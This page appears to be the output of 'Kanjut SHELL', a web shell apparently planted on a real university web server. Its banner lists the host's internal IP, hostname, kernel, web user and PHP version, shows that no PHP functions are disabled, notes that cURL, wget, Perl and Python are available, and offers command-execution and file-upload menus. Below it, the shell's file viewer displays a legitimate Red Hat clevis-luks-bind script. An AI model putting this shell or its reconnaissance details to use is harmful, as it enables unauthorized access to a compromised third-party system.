Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.149.27.33
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /bin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //bin/clevis-luks-bind
#!/bin/bash -e
# vim: set tabstop=8 shiftwidth=4 softtabstop=4 expandtab smarttab colorcolumn=80:
#
# Copyright (c) 2016 Red Hat, Inc.
# Author: Harald Hoyer <harald@redhat.com>
# Author: Nathaniel McCallum <npmccallum@redhat.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#

. clevis-luks-common-functions

SUMMARY="Binds a LUKS device using the specified policy"
UUID=cb6e8904-81ff-40da-a84a-07ab9ab5715e

# We require cryptsetup >= 2.0.4 to fully support LUKSv2.
# Support is determined at build time.
function luks2_supported() {
    return 0
}

function usage() {
    exec >&2
    echo
    echo "Usage: clevis luks bind [-y] [-f] [-s SLT] [-k KEY] [-t TOKEN_ID] -d DEV PIN CFG"
    echo
    echo "$SUMMARY":
    echo
    echo "  -f           Do not prompt for LUKSMeta initialization"
    echo
    echo "  -d DEV       The LUKS device on which to perform binding"
    echo
    echo "  -y           Automatically answer yes for all questions"
    echo
    echo "  -s SLT       The LUKS slot to use"
    echo
    echo "  -t TKN_ID    The LUKS token ID to use; only available for LUKS2"
    echo
    echo "  -k KEY       Non-interactively read LUKS password from KEY file"
    echo "  -k -         Non-interactively read LUKS password from standard input"
    echo
    exit 2
}

if [ $# -eq 1 ] && [ "$1" == "--summary" ]; then
    echo "$SUMMARY"
    exit 0
fi

FRC=()
YES=()
while getopts ":hfyd:s:k:t:" o; do
    case "$o" in
    f) FRC+=(-f);;
    d) DEV="$OPTARG";;
    s) SLT="$OPTARG";;
    k) KEY="$OPTARG";;
    t) TOKEN_ID="$OPTARG";;
    y) FRC+=(-f)
       YES+=(-y);;
    *) usage;;
    esac
done

if [ -z "$DEV" ]; then
    echo "Did not specify a device!" >&2
    usage
fi

if ! cryptsetup isLuks "$DEV"; then
    echo "$DEV is not a LUKS device!" >&2
    exit 1
fi

if ! PIN="${@:$((OPTIND++)):1}" || [ -z "$PIN" ]; then
    echo "Did not specify a pin!" >&2
    usage
elif ! EXE=$(command -v clevis-encrypt-"${PIN}") || [ -z "${EXE}" ]; then
    echo "'${PIN}' is not a valid pin!" >&2
    usage
fi

if ! CFG="${@:$((OPTIND++)):1}" || [ -z "$CFG" ]; then
    echo "Did not specify a pin config!" >&2
    usage
fi

if luks2_supported; then
    if cryptsetup isLuks --type luks1 "$DEV"; then
        luks_type="luks1"
    elif cryptsetup isLuks --type luks2 "$DEV";then
        luks_type="luks2"
    else
        echo "$DEV is not a supported LUKS device!" >&2
        exit 1
    fi
else
    luks_type="luks1"
fi

if [ "$luks_type" = "luks1" -a -n "$TOKEN_ID" ]; then
    echo "$DEV is a LUKS1 device; -t is only supported in LUKS2"
    exit 1
fi

if [ "${luks_type}" = "luks1" ]; then
    # The first free slot, as per cryptsetup. In connection to bug #70, we may
    # have to wipe out the LUKSMeta slot priot to adding the new key.
    first_free_cs_slot=$(cryptsetup luksDump "${DEV}" \
                         | sed -rn 's|^Key Slot ([0-7]): DISABLED$|\1|p' \
                         | sed -n 1p)
    if [ -z "${first_free_cs_slot}" ]; then
        echo "There are no more free slots in ${DEV}!" >&2
        exit 1
    fi
fi

if [ -n "$KEY" ]; then
    if [ "$KEY" == "-" ]; then
        if [ "$luks_type" == "luks1" ]; then
            if ! luksmeta test -d "$DEV" && [ -z "${FRC[*]}" ]; then
                echo "Cannot use '-k-' without '-f' unless already initialized!" >&2
                usage
            fi
        fi
    elif ! [ -f "$KEY" ]; then
        echo "Key file '$KEY' not found!" >&2
        exit 1
    fi
fi

# Generate a key with the same entropy as the LUKS Master Key
if ! key="$(clevis_luks_generate_key "${DEV}")" \
     || [ -z "${key}" ]; then
    echo "Unable to generate key for ${DEV}" >&2
    return 1
fi

# Encrypt the new key
jwe="$(echo -n "$key" | clevis encrypt "$PIN" "$CFG" "${YES}")"

# If necessary, initialize the LUKS volume
if [ "$luks_type" == "luks1" ] && ! luksmeta test -d "$DEV"; then
    luksmeta init -d "$DEV" "${FRC[@]}"
fi

# Get the existing key.
case "$KEY" in
"") read -r -s -p "Enter existing LUKS password: " existing_key; echo;;
 -) existing_key="$(/bin/cat)";;
 *) ! IFS= read -rd '' existing_key < "$KEY";;
esac

# Check if the key is valid.
if ! cryptsetup luksOpen --test-passphrase "${DEV}" \
        --key-file <(echo -n "${existing_key}"); then
    exit 1
fi

pbkdf_args="--pbkdf pbkdf2 --pbkdf-force-iterations 1000"
if [ "$luks_type" == "luks1" ]; then
    pbkdf_args=
    # In certain circumstances, we may have LUKSMeta slots "not in sync" with
    # cryptsetup, which means we will try to save LUKSMeta metadata over an
    # already used or partially used slot -- github issue #70.
    # If that is the case, let's wipe the LUKSMeta slot here prior to saving.
    if read -r _ state uuid < <(luksmeta show -d "${DEV}" \
            | grep "^${first_free_cs_slot} *"); then
        if [ "${state}" = "inactive" ] && [ "${uuid}" = "${UUID}" ]; then
            luksmeta wipe -f -d "${DEV}" -s "${first_free_cs_slot}"
        fi
    fi
fi

# Add the new key.
if [ -n "$SLT" ]; then
    cryptsetup luksAddKey ${pbkdf_args} --key-slot "$SLT" --key-file \
        <(echo -n "$existing_key") "$DEV"
else
    if [ $luks_type == "luks2" ]; then
        readarray -t usedSlotsBeforeAddKey < <(cryptsetup luksDump "${DEV}" \
            | sed -rn 's|^\s+([0-9]+): luks2$|\1|p')
    else
        readarray -t usedSlotsBeforeAddKey < <(cryptsetup luksDump "${DEV}" \
            | sed -rn 's|^Key Slot ([0-7]): ENABLED$|\1|p')
    fi
    cryptsetup luksAddKey ${pbkdf_args} \
        --key-file <(echo -n "${existing_key}") "$DEV"
fi < <(echo -n "${key}")
if [ $? -ne 0 ]; then
    echo "Error while adding new key to LUKS header!" >&2
    exit 1
fi

#Determine slot used by new key if a desired slot was not specified
if [ -z "$SLT" ]; then
    if [ "$luks_type" == "luks2" ]; then
        readarray -t usedSlotsAfterAddKey < <(cryptsetup luksDump "${DEV}" \
            | sed -rn 's|^\s+([0-9]+): luks2$|\1|p')
    else
        readarray -t usedSlotsAfterAddKey < <(cryptsetup luksDump "${DEV}" \
            | sed -rn 's|^Key Slot ([0-7]): ENABLED$|\1|p')
    fi
    for i in "${usedSlotsAfterAddKey[@]}"; do
        if [[ ! " ${usedSlotsBeforeAddKey[@]} " =~ " ${i} " ]]; then
            SLT=$i
            break
        fi
    done
fi

if [ -z "$SLT" ]; then
	echo "Error while adding new key to LUKS header! Key slot is undefined." >&2
	exit 1
fi

if [ "$luks_type" == "luks1" ]; then
    echo -n "$jwe" | luksmeta save -d "$DEV" -u "$UUID" -s "$SLT" 2>/dev/null
else
    printf '{"type":"clevis","keyslots":["%s"],"jwe":%s}' "$SLT" "$(jose jwe fmt -i- <<< "$jwe")" \
        | cryptsetup token import $([ -n "$TOKEN_ID" ] && echo '--token-id '$TOKEN_ID) "$DEV"
fi
if [ $? -ne 0 ]; then
    echo "Error while saving Clevis metadata in LUKSMeta!" >&2
    echo -n "$key" | cryptsetup luksRemoveKey "$DEV"
    exit 1
fi

Stv3n404 - 2023